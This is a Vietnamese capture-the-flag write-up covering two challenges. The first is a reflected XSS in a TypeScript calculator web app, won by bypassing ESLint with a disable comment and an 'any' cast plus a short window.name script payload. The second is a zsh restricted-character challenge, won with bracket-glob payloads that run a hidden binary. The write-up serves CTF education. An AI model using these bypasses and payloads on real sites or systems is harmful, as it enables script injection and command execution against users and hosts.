## WEB: Calculator
> beep boop
>
> calculator.mc.ax
> Admin Bot
Web cho phép user nhập vào và in ra kết quả cùng với Admin bot -> Có thể là XSS chall

Phân tích `index.ts` ta thấy query được sanitize nhưng kết quả thì không
```typescript
app.get('/', async (req: Request, res: Response) => {
const query = req.query.q ? req.query.q.toString() : ''
const message = query ? await runQuery(req.query.q as string) : ''
res.send(`
...
<h1>Calculator</h1>
<form action="/" method="GET">
<input type="text" name="q" value="${sanitize(query)}">
<input type="submit">
</form>
<p>${message}</p>
</div>
...
`)
})
```
Hàm sanitize chỉ đơn giản là chuyển một số kí tự nguy hiểm sang HTML entity
```typescript
const sanitize = (code: string): string => {
return code
.replaceAll(/</g, '<')
.replaceAll(/>/g, '>')
.replaceAll(/"/g, '"')
}
```
Vì `message` không được sanitize nên rất có khả năng sẽ bị dính lỗi XSS, ta phân tích hàm `runQuery`
```typescript
const runQuery = async (query: string): Promise<string> => {
if (query.length > 75) {
return 'equation is too long'
}
try {
const result = await run(query, 1000, 'number')
if (result.success === false) {
const errors: string[] = result.errors
return sanitize(errors.join('\n'))
} else {
const value: number = result.value
return `result: ${value.toString()}`
}
} catch (error) {
return 'unknown error'
}
}
```
Nếu query quá dài thì sẽ bị return ngay lập tức. Nếu result chạy fail thì trả về lỗi được sanitize, ngược lại trả về kết quả không bị sanitize.
Ta xem tiếp hàm `run`
```typescript
export const run = async <T extends keyof RunTypes>(
code: string,
timeout: number,
type: T,
): Promise<RunResult<T>> => {
const result = await sanitize(type, code)
if (result.success === false) return result
return await queue.queue<RunResult<T>>(async (isolate) => {
const context = await isolate.createContext()
return Promise.race([
context.eval(result.output).then((output): RunResult<T> => ({
success: true,
value: output,
})),
new Promise<RunResult<T>>((resolve) => {
setTimeout(() => {
context.release()
resolve({
success: false,
errors: ['evaluation timed out!'],
})
}, timeout)
})
])
})
}
```
Trong hàm này, input lại tiếp tục được sanitize, nếu success thì đưa vào queue. Tuy nhiên result lại được đưa vào hàm `eval` để chạy.
Ta kiểm tra hàm sanitize mới
```typescript
export const sanitize = async (
type: string,
input: string,
): Promise<Result<string>> => {
if (/[^ -~]|;/.test(input)) {
return {
success: false,
errors: ['only one expression is allowed'],
}
}
const expression = parse(input)
if (!expression.success) return expression
const data = `((): ${type} => (${expression.output}))()`
const project = new VirtualProject('file.ts', data)
const { errors, messages } = await project.lint()
if (errors > 0) {
return { success: false, errors: messages }
}
return project.compile()
}
```
Trước tiên dùng regex kiểm tra để yêu cầu chỉ có 1 expression. Kí tự thường dùng là `;` cũng đã bị fitler.
Input được đưa phân tích với hàm parse, tiếp tục thử biên dịch và kiểm tra lỗi với `Eslint`. Nếu không có vấn đề gì thì trả về kết quả của đoạn
```typescript
((): ${type} => (${expression.output}))()
```
Mà type ở đây là 'number'.

Do result là string, không phải number nên đã bị lỗi.
Kiểu dữ liệu trong typescript chỉ là để Eslint nhận diện để khi code sẽ được chặt chẽ hơn nhưng không cấm việc trả về một kiểu khác với khai báo.
Có thể thấy Eslint đã báo lỗi, tuy nhiên ta có thể bypass với đoạn comment `/*eslint-disable-line*/`[^1]. Không thể dùng `/*tslint:disable-next-line*/` do đã bị chặn trong config.

Có vẻ như là không assert được, ta thử với kiểu any

Kết quả đã hiện ra bình thường. Lúc này ta chỉ cần XSS result là xong

**PAYLOAD:**
```
"<script>window.name</script>" as any/*eslint-disable-line*/
```
Do giới hạn input chỉ 75 kí tự nên phải sử dụng `window.name` để bypass[^2]
## MISC: zshfuck
> may your code be under par. execute the getflag binary somewhere in the filesystem to win

Bài cho ta nhập vào 6 kí tự khác nhau, không được chứa `*`, `?`, \`. Ta có thể dựa vào 6 kí tự đó để thực thi lệnh.

Trước tiên ta cần xem danh sách các file hiện tại với các kí tự `ls -R/`.

Đã tìm thấy `getflag`, giờ ta cần tìm cách để chạy file đấy. Một số wildcard cơ bản đã bị chặn, tuy nhiên ta vẫn có thể sử dụng `[^]` hoặc `[!]`[^3]
**PAYLOAD**:
```
[^^][^^][^^]/[^^][^^][^^][^^]/[^^][^^][^^][^^][^^][^^][^^][^^][^^]/[^^][^^][^^][^^]/[^^][^^][^^][^^][^^][^^][^^]
[!+][!+][!+]/[!+][!+][!+][!+]/[!+][!+][!+][!+][!+][!+][!+][!+][!+]/[!+][!+][!+][!+]/[!+][!+][!+][!+][!+][!+][!+]
```
[^1]: [Eslint comment](https://eslint.org/docs/latest/use/configure/rules#using-configuration-comments-1)
[^2]: [XSS Filters: Beating Length Limits Using Shortened Payloads - PortSwigger](https://portswigger.net/support/xss-filters-beating-length-limits-using-shortened-payloads)
[^3]: [Wildcards](https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm)